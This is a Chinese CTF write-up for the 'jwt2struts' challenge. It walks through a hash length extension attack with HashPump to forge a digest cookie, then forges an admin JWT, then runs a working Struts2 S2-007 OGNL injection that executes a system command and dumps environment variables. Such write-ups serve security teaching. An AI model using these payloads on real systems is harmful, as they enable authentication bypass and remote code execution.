jwt2struts
根据题目名字猜测,这题考察jwt和Struts2
包里面果然有一个cookie
验证了,是jwt eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJ1c2VyIiwiZXhwIjoyMDA2MjI1MjgxfQ.F7vOtdqg48M1DYK4tVZywTipIYDqKfsBSju7ekLSecU
我们的目标应该是把user改成admin
首先,直接修改试试,结果是不行的。
再尝试一下:
docker run -it --rm jwtcrack eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJ1c2VyIiwiZXhwIjoyMDA2MjI1MjgxfQ.F7vOtdqg48M1DYK4tVZywTipIYDqKfsBSju7ekLSecU
也是不行的,貌似没有非预期
返回包有个注释,是一个文件路由
访问是PHP代码,绕过了就给key,有了key就能加解密JWT,然后伪造身份得到flag。
首先就是要解出盐(salt)。。。。
仔细一看不用解盐,我们做到$username === "admin" && $password != "root"同时md5($salt.$username.$password)===$_COOKIE["digest"]就行了。
我们已知的有
盐的长度是14
md5($salt+“adminroot”)=e6ccbf12de9d33ec27a5bcfb6a3293df
对于这种未知salt,要绕过MD5/sha1加密,目前有一个很好的办法,就是hash长度拓展。
(1条消息) 实验吧-让我进去【salt加密 哈希长度拓展】_实验吧 admins only_Sp4rkW的博客-CSDN博客
这题有个工具叫HashPump。kali中安装方法如下(root终端依次输入)
git clone https://github.com/bwall/HashPump apt-get install g++ libssl-dev cd HashPump make make install
应用场景:md5("密文"+"已知字符串")=现有哈希值
文件夹下开终端(cd进去也可以),输入hashpump。
Input Signature #现有哈希值(题目给的MD5) Input Data #已知字符串 Input Key Length #为密文(salt)长度 Input Data to Add #为补位后自己加的字符串(自定义)
可以看到返回给我们两行内容,第一行是处理过的哈希值,第二行是处理过的已知字符串。
满足:md5("密文"+"处理过的已知字符串")=处理过的哈希值
payload:(url加密就是把\x换成%)
Cookie:digest=8ae52974e81aace9837123a520cb8179 POST:username=admin&password=root%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%b8%00%00%00%00%00%00%00Jay
做后尝试了一下,可以手撸出已知字符串的补位。
所以JWT的密钥是sk-he00lctf3r,伪造JWT后进入新的界面。
根据题目名字,猜测是Struts2。看特征+验证得到是S2-007。
payload:(flag在环境变量里面)
' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('env').getInputStream())) + '
输入到age框里面,然后环境变量从age框返回。
返回结果(其中有flag):
HOSTNAME=8256ab68db2aLANGUAGE=en_US:enJAVA_HOME=/opt/java/openjdkGPG_KEYS=05AB33110949707C93A279E3D3EFE6B686867BA6 07E48665A34DCAFAE522E5E6266191C37C037D42 47309207D818FFD8DCD3F83F1931D684307A10A5 541FBE7D8F78B25E055DDEE13C370389288584E7 5C3C5F3E314C866292F359A8F3AD5C94A67F707E 765908099ACF92702C7D949BFA0C35EA8AA299F1 79F7026C690BAA50B92CD8B66A3AD3F4F22C4FED 9BA44C2621385CB966EBA586F72C284D731FABEE A27677289986DB50844682F8ACB77FC2E86E29AC A9C5DF4D22E99998D9875A5110C01C5A2F6059E7 DCFD35E0BF8CA7344752DE8B6FB21E8933C60243 F3A04C595DB5B6A5F1ECA43E3B7BBB100D811BBE F7DA48BB64BCB84ECBA7EE6935CD23C10D498E23PWD=/usr/local/tomcatTOMCAT_SHA512=9e6770e9c9c3b630011c0f0e320b31bb0ea3700d52247a12d544ea25f9ee4d93613ad6ccb7939f97fb05e1760978a7547eccb16352d73fa28886134ba58f3f8cTOMCAT_MAJOR=8HOME=/rootLANG=en_US.UTF-8TOMCAT_NATIVE_LIBDIR=/usr/local/tomcat/native-jni-libFLAG=flag{7r0m_jwt_t0_struts2}CATALINA_HOME=/usr/local/tomcatSHLVL=0JDK_JAVA_OPTIONS= --add-opens=java.base/java.lang=ALL-UNNAMED --add-opens=java.base/java.io=ALL-UNNAMED --add-opens=java.base/java.util=ALL-UNNAMED --add-opens=java.base/java.util.concurrent=ALL-UNNAMED --add-opens=java.rmi/sun.rmi.transport=ALL-UNNAMEDLD_LIBRARY_PATH=/usr/local/tomcat/native-jni-libLC_ALL=en_US.UTF-8PATH=/usr/local/tomcat/bin:/opt/java/openjdk/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binTOMCAT_VERSION=8.5.91JAVA_VERSION=jdk8u372-b07